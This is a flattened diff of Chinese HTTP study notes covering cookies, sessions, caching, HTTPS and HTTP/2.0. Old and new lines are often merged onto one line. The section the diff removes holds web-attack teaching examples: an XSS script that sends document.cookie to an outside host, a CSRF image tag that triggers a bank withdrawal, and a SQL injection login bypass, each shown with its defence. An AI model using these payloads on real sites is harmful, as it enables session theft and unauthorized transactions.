Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```
### 6. 作用域
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定默认为当前文档的主机不包含子域名。如果指定了 Domain则一般包含子域名。例如如果设置 Domain=mozilla.org则 Cookie 也包含在子域名中(如 developer.mozilla.org Domain 标识指定了哪些主机可以接受 Cookie。如果不指定默认为当前文档的主机不包含子域名。如果指定了 Domain则一般包含子域名。例如如果设置 Domain=mozilla.org则 Cookie 也包含在子域名中(如 developer.mozilla.org
@ -392,29 +376,50 @@ Path 标识指定了主机下的哪些路径可以接受 Cookie该 URL 路径
- /docs/Web/ - /docs/Web/
- /docs/Web/HTTP - /docs/Web/HTTP
### 7. Session ### 5. JavaScript
通过 `Document.cookie` 属性可创建新的 Cookie也可通过该属性访问非 HttpOnly 标记的 Cookie。
```html
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
```
### 6. HttpOnly
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `Document.cookie` API 窃取用户的 Cookie 信息,因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
```html
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```
### 7. Secure
标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性Secure 标记也无法提供确实的安全保障。
### 8. Session
除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。 除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。
Session 可以存储在服务器上的文件、数据库或者内存中,现在最常见的是将 Session 存储在内存型数据库中,比如 Redis Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高
使用 Session 维护用户登录的过程如下: 使用 Session 维护用户登录状态的过程如下:
- 用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 请求报文中; - 用户进行登录时,用户提交包含用户名和密码的表单,放入 HTTP 请求报文中;
- 服务器验证该用户名和密码; - 服务器验证该用户名和密码,如果正确则把用户信息存储到 Redis 中,它在 Redis 中的 Key 称为 Session ID
- 如果正确则把用户信息存储到 Redis 中,它在 Redis 中的 ID 称为 Session ID
- 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID客户端收到响应报文之后将该 Cookie 值存入浏览器中; - 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID客户端收到响应报文之后将该 Cookie 值存入浏览器中;
- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值,服务器收到之后提取出 Session ID从 Redis 中取出用户信息,继续之的业务操作。 - 客户端之后对同一个服务器进行请求时会包含该 Cookie 值,服务器收到之后提取出 Session ID从 Redis 中取出用户信息,继续之的业务操作。
应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下例如转账等操作除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。 应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下例如转账等操作除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。
### 8. 浏览器禁用 Cookie ### 9. 浏览器禁用 Cookie
此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。 此时无法使用 Cookie 来保存用户信息,只能使用 Session。除此之外不能再将 Session ID 存放到 Cookie 中,而是使用 URL 重写技术,将 Session ID 作为 URL 的参数进行传递。
### 9. Cookie 与 Session 选择 ### 10. Cookie 与 Session 选择
- Cookie 只能存储 ASCII 码字符串,而 Session 则可以存取任何类型的数据,因此在考虑数据复杂性时 首选 Session - Cookie 只能存储 ASCII 码字符串,而 Session 则可以存取任何类型的数据,因此在考虑数据复杂性时首选 Session
- Cookie 存储在浏览器中,容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中,可以将 Cookie 值进行加密,然后在服务器进行解密; - Cookie 存储在浏览器中,容易被恶意查看。如果非要将一些隐私数据存在 Cookie 中,可以将 Cookie 值进行加密,然后在服务器进行解密;
- 对于大型网站,如果用户所有的信息都存储在 Session 中,那么开销是非常大的,因此不建议将所有的用户信息都存储到 Session 中。 - 对于大型网站,如果用户所有的信息都存储在 Session 中,那么开销是非常大的,因此不建议将所有的用户信息都存储到 Session 中。
@ -423,7 +428,7 @@ Session 可以存储在服务器上的文件、数据库或者内存中,现在
### 1. 优点 ### 1. 优点
- 缓解服务器压力; - 缓解服务器压力;
- 低客户端获取资源的延迟缓存资源比服务器上的资源离客户端更近) - 低客户端获取资源的延迟缓存通常位于内存中,读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近,例如浏览器缓存
### 2. 实现方法 ### 2. 实现方法
@ -434,7 +439,7 @@ Session 可以存储在服务器上的文件、数据库或者内存中,现在
HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。 HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
**(一)禁止进行缓存** **3.1 禁止进行缓存**
no-store 指令规定不能对请求或响应的任何一部分进行缓存。 no-store 指令规定不能对请求或响应的任何一部分进行缓存。
@ -442,7 +447,7 @@ no-store 指令规定不能对请求或响应的任何一部分进行缓存。
Cache-Control: no-store Cache-Control: no-store
``` ```
**(二)强制确认缓存** **3.2 强制确认缓存**
no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。 no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
@ -450,7 +455,7 @@ no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源
Cache-Control: no-cache Cache-Control: no-cache
``` ```
**(三)私有缓存和公共缓存** **3.3 私有缓存和公共缓存**
private 指令规定了将资源作为私有缓存,只能被单独用户所使用,一般存储在用户浏览器中。 private 指令规定了将资源作为私有缓存,只能被单独用户所使用,一般存储在用户浏览器中。
@ -464,7 +469,7 @@ public 指令规定了将资源作为公共缓存,可以被多个用户所使
Cache-Control: public Cache-Control: public
``` ```
**(四)缓存过期机制** **3.4 缓存过期机制**
max-age 指令出现在请求报文中,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。 max-age 指令出现在请求报文中,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
@ -474,15 +479,18 @@ max-age 指令出现在响应报文中,表示缓存资源在缓存服务器中
Cache-Control: max-age=31536000 Cache-Control: max-age=31536000
``` ```
Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中Cache-Control : max-age 指令会被忽略掉。 Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
```html ```html
Expires: Wed, 04 Jul 2012 08:26:05 GMT Expires: Wed, 04 Jul 2012 08:26:05 GMT
``` ```
- 在 HTTP/1.1 中,会优先处理 max-age 指令;
- 在 HTTP/1.0 中max-age 指令会被忽略掉。
### 4. 缓存验证 ### 4. 缓存验证
需要先了解 ETag 首部字段的含义,它是资源的唯一表示。URL 不能唯一表示资源,例如 `http://www.google.com/` 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一表示 需要先了解 ETag 首部字段的含义,它是资源的唯一标识。URL 不能唯一表示资源,例如 `http://www.google.com/` 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一标识
```html ```html
ETag: "82e22293907ce725faf67773957acd12" ETag: "82e22293907ce725faf67773957acd12"
@ -494,7 +502,7 @@ ETag: "82e22293907ce725faf67773957acd12"
If-None-Match: "82e22293907ce725faf67773957acd12" If-None-Match: "82e22293907ce725faf67773957acd12"
``` ```
Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改那么返回一个不带有消息主体的 304 Not Modified 响应 Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改那么返回一个不带有消息主体的 304 Not Modified 响应
```html ```html
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
@ -504,39 +512,23 @@ Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
``` ```
## 连接管理
<div align="center"> <img src="../pics//HTTP1_x_Connections.png" width="800"/> </div><br>
### 1. 短连接与长连接
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
HTTP/1.1 开始默认是长连接的,如果要断开连接,需要由客户端或者服务器端提出断开,使用 Connection : close而在 HTTP/1.1 之前默认是短连接的,如果需要长连接,则使用 Connection : Keep-Alive。
### 2. 流水线
默认情况下HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。
流水线是在同一条长连接上发出连续的请求,而不用等待响应返回,这样可以避免连接延迟。
## 内容协商 ## 内容协商
通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。 通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。
### 1. 类型 ### 1. 类型
**(一)服务端驱动型内容协商** **1.1 服务端驱动型**
客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Languag服务器根据这些字段返回特定的资源。 客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Languag服务器根据这些字段返回特定的资源。
它存在以下问题: 它存在以下问题:
- 服务器很难知道客户端浏览器的全部信息; - 服务器很难知道客户端浏览器的全部信息;
- 客户端提供的信息相当冗长HTTP/2 协议的首部压缩机制缓解了这个问题并且存在隐私风险HTTP 指纹识别技术) - 客户端提供的信息相当冗长HTTP/2 协议的首部压缩机制缓解了这个问题并且存在隐私风险HTTP 指纹识别技术)
- 给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。 - 给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。
**(二)代理驱动型协商** **1.2 代理驱动型**
服务器返回 300 Multiple Choices 或者 406 Not Acceptable客户端从中选出最合适的那个资源。 服务器返回 300 Multiple Choices 或者 406 Not Acceptable客户端从中选出最合适的那个资源。
@ -552,9 +544,11 @@ Vary: Accept-Language
## 内容编码 ## 内容编码
内容编码将实体主体进行压缩,从而减少传输的数据量。常用的内容编码有gzip、compress、deflate、identity。 内容编码将实体主体进行压缩,从而减少传输的数据量。
浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的在响应中Vary 首部中至少要包含 Content-Encoding这样的话缓存服务器就可以对资源的不同展现形式进行缓存 常用的内容编码有gzip、compress、deflate、identity
浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级。服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应的 Vary 首部至少要包含 Content-Encoding。
## 范围请求 ## 范围请求
@ -632,13 +626,18 @@ HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,
使用代理的主要目的是: 使用代理的主要目的是:
- 缓存 - 缓存
- 负载均衡
- 网络访问控制 - 网络访问控制
- 访问日志记录 - 访问日志记录
代理服务器分为正向代理和反向代理两种,用户察觉得到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。 代理服务器分为正向代理和反向代理两种
- 用户察觉得到正向代理的存在。
<div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br> <div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
- 而反向代理一般位于内部网络中,用户察觉不到。
<div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br> <div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
### 2. 网关 ### 2. 网关
@ -647,7 +646,7 @@ HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,
### 3. 隧道 ### 3. 隧道
使用 SSL 等加密手段,客户端和服务器之间建立一条安全的通信线路。 使用 SSL 等加密手段,客户端和服务器之间建立一条安全的通信线路。
# 六、HTTPs # 六、HTTPs
@ -657,7 +656,7 @@ HTTP 有以下安全性问题:
- 不验证通信方的身份,通信方的身份有可能遭遇伪装; - 不验证通信方的身份,通信方的身份有可能遭遇伪装;
- 无法证明报文的完整性,报文有可能遭篡改。 - 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是让 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信也就是说 HTTPs 使用了隧道进行通信。 HTTPs 并不是新协议,而是让 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信也就是说 HTTPs 使用了隧道进行通信。
通过使用 SSLHTTPs 具有了加密(防窃听)、认证(防伪装)和完整性保护(防篡改)。 通过使用 SSLHTTPs 具有了加密(防窃听)、认证(防伪装)和完整性保护(防篡改)。
@ -667,25 +666,29 @@ HTTPs 并不是新协议,而是让 HTTP 先和 SSLSecure Sockets Layer
### 1. 对称密钥加密 ### 1. 对称密钥加密
对称密钥加密Symmetric-Key Encryption加密的加密和解密使用同一密钥。 对称密钥加密Symmetric-Key Encryption加密和解密使用同一密钥。
- 优点:运算速度快; - 优点:运算速度快;
- 缺点:密钥容易被获取 - 缺点:无法安全地将密钥传输给通信方
<div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br> <div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
### 2. 公开密钥加密 ### 2.非对称密钥加密
公开密钥加密Public-Key Encryption也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密 非对称密钥加密,又称公开密钥加密Public-Key Encryption加密和解密使用不同的密钥
- 优点:更为安全; 公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
- 缺点:运算速度慢;
非对称密钥除了用来加密,还可以用来进行签名。因为私有密钥无法被其他人获取,因此通信发送方使用其私有密钥进行签名,通信接收方使用发送方的公开密钥对签名进行解密,就能判断这个签名是否正确。
- 优点:可以更安全地将公开密钥传输给通信发送方;
- 缺点:运算速度慢。
<div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br> <div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
### 3. HTTPs 采用的加密方式 ### 3. HTTPs 采用的加密方式
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥来保证安全性,之后使用对称密钥加密进行通信来保证效率。(下图中的 Session Key 就是对称密钥) HTTPs 采用混合的加密机制,使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性,之后使用对称密钥加密进行通信来保证通信过程的效率。(下图中的 Session Key 就是对称密钥)
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br> <div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
@ -699,237 +702,81 @@ HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称
进行 HTTPs 通信时,服务器会把证书发送给客户端。客户端取得其中的公开密钥之后,先使用数字签名进行验证,如果验证通过,就可以开始通信了。 进行 HTTPs 通信时,服务器会把证书发送给客户端。客户端取得其中的公开密钥之后,先使用数字签名进行验证,如果验证通过,就可以开始通信了。
通信开始时,客户端需要使用服务器的公开密钥将自己的私有密钥传输给服务器,之后再进行对称密钥加密。
<div align="center"> <img src="../pics//2017-06-11-ca.png" width=""/> </div><br> <div align="center"> <img src="../pics//2017-06-11-ca.png" width=""/> </div><br>
## 完整性保护 ## 完整性保护
SSL 提供报文摘要功能来进行完整性保护。 SSL 提供报文摘要功能来进行完整性保护。
HTTP 也提供了 MD5 报文摘要功能,但是却不是安全的。例如报文内容被篡改之后,同时重新计算 MD5 的值,通信接收方是无法意识到发生篡改。 HTTP 也提供了 MD5 报文摘要功能,但不是安全的。例如报文内容被篡改之后,同时重新计算 MD5 的值,通信接收方是无法意识到发生篡改。
HTTPs 的报文摘要功能之所以安全,是因为它结合了加密和认证这两个操作。试想一下,加密之后的报文,遭到篡改之后,也很难重新计算报文摘要,因为无法轻易获取明文。 HTTPs 的报文摘要功能之所以安全,是因为它结合了加密和认证这两个操作。试想一下,加密之后的报文,遭到篡改之后,也很难重新计算报文摘要,因为无法轻易获取明文。
## HTTPs 的缺点 ## HTTPs 的缺点
- 因为需要进行加密解密等过程,因此速度会更慢; - 因为需要进行加密解密等过程,因此速度会更慢;
- 需要支付证书授权的高费用。 - 需要支付证书授权的高费用。
# 七、HTTP/2.0
## 配置 HTTPs ## HTTP/1.x 缺陷
[Nginx 配置 HTTPS 服务器](https://aotu.io/notes/2016/08/16/nginx-https/index.html) HTTP/1.x 实现简单是以牺牲性能为代价的:
# 七、Web 攻击技术 - 客户端需要使用多个连接才能实现并发和缩短延迟;
- 不会压缩请求和响应首部,从而导致不必要的网络流量;
- 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。
## 跨站脚本攻击 ## 二进制分帧层
### 1. 概念 HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。 <div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
例如有一个论坛网站,攻击者可以在上面发布以下内容: 在通信过程中,只会有一个 TCP 连接存在它承载了任意数量的双向数据流Stream
```html - 一个数据流Stream都有一个唯一标识符和可选的优先级信息用于承载双向信息。
<script>location.href="//domain.com/?c=" + document.cookie</script> - 消息Message是与逻辑请求或响应对应的完整的一系列帧。
``` -Frame是最小的通信单位来自不同数据流的帧可以交错发送然后再根据每个帧头的数据流标识符重新组装。
之后该内容可能会被渲染成以下形式: <div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
```html ## 服务端推送
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了 HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端
### 2. 危害 <div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
- 窃取用户的 Cookie 值 ## 首部压缩
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
### 3. 防范手段 HTTP/1.1 的首部带有大量信息,而且每次都要重复发送。
**(一)设置 Cookie 为 HttpOnly** HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表,从而避免了重复传输。
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,在一定程度上可以防止 XSS 窃取用户的 Cookie 信息 不仅如此HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩
**(二)过滤特殊字符** <div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
许多语言都提供了对 HTML 的过滤: # 八、HTTP/1.1 新特性
- PHP 的 htmlentities() 或是 htmlspecialchars()。 详细内容请见上文
- Python 的 cgi.escape()。
- Java 的 xssprotect (Open Source Library)。
- Node.js 的 node-validator。
例如 htmlspecialchars() 可以将 `<` 转义为 `&lt;`,将 `>` 转义为 `&gt;`,从而避免 HTML 和 Jascript 代码的运行。 - 默认是长连接
**(三)富文本编辑器的处理** - 支持管线化处理
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。 - 支持同时打开多个 TCP 连接
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。 - 支持虚拟主机
以下例子中form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。 - 新增状态码 100
[XSS 过滤在线测试](http://jsxss.com/zh/try.html) - 支持分块传输编码
```html - 新增缓存处理指令 max-age
<h1 id="title">XSS Demo</h1>
<p class="text-center"> # 九、GET 和 POST 比较
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
<form>
<input type="text" name="q" value="test">
<button id="submit">Submit</button>
</form>
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
<script type="text/javascript">
alert(/xss/);
</script>
```
```html
<h1>XSS Demo</h1>
<p>
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
</p>
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;button id="submit"&gt;Submit&lt;/button&gt;
&lt;/form&gt;
<pre>hello</pre>
<p>
<a href="http://jsxss.com">http</a>
</p>
<h3>Features:</h3>
<ul>
<li>Specifies HTML tags and their attributes allowed with whitelist</li>
<li>Handle any tags or attributes using custom function</li>
</ul>
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;
```
## 跨站请求伪造
### 1. 概念
跨站请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
**(一)检查 Referer 字段**
HTTP 头中有一个 Referer 字段这个字段用于标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
**(二)添加校验 Token**
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
也可以要求用户输入验证码来进行校验。
## SQL 注入攻击
### 1. 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
### 2. 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果填入以下内容:
```sql
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
```
那么 SQL 查询字符串为:
```sql
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
```
此时无需验证通过就能执行以下查询:
```sql
strSQL = "SELECT * FROM users;"
```
### 3. 防范手段
**(一)使用参数化查询**
以下以 Java 中的 PreparedStatement 为例,它是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
**(二)单引号转换**
将传入的参数中的单引号转换为连续两个单引号PHP 中的 Magic quote 可以完成这个功能。
## 拒绝服务攻击
拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
# 八、GET 和 POST 的区别
## 作用 ## 作用
@ -937,7 +784,9 @@ GET 用于获取资源,而 POST 用于传输实体主体。
## 参数 ## 参数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体中。 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高因为照样可以通过一些抓包工具Fiddler查看。
因为 URL 只支持 ASCII 码,因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`,而空格会转换为 `%20`。POST 参考支持标准字符集。
``` ```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1 GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
@ -949,10 +798,6 @@ Host: w3schools.com
name1=value1&name2=value2 name1=value1&name2=value2
``` ```
不能因为 POST 参数存储在实体主体中就认为它的安全性更高因为照样可以通过一些抓包工具Fiddler查看。
因为 URL 只支持 ASCII 码,因此 GET 的参数中如果存在中文等字符就需要先进行编码,例如`中文`会转换为`%E4%B8%AD%E6%96%87`,而空格会转换为`%20`。POST 支持标准字符集。
## 安全 ## 安全
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。 安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
@ -965,9 +810,13 @@ GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实
## 幂等性 ## 幂等性
幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下GETHEADPUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。 幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。
GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的: 所有的安全方法也都是幂等的。
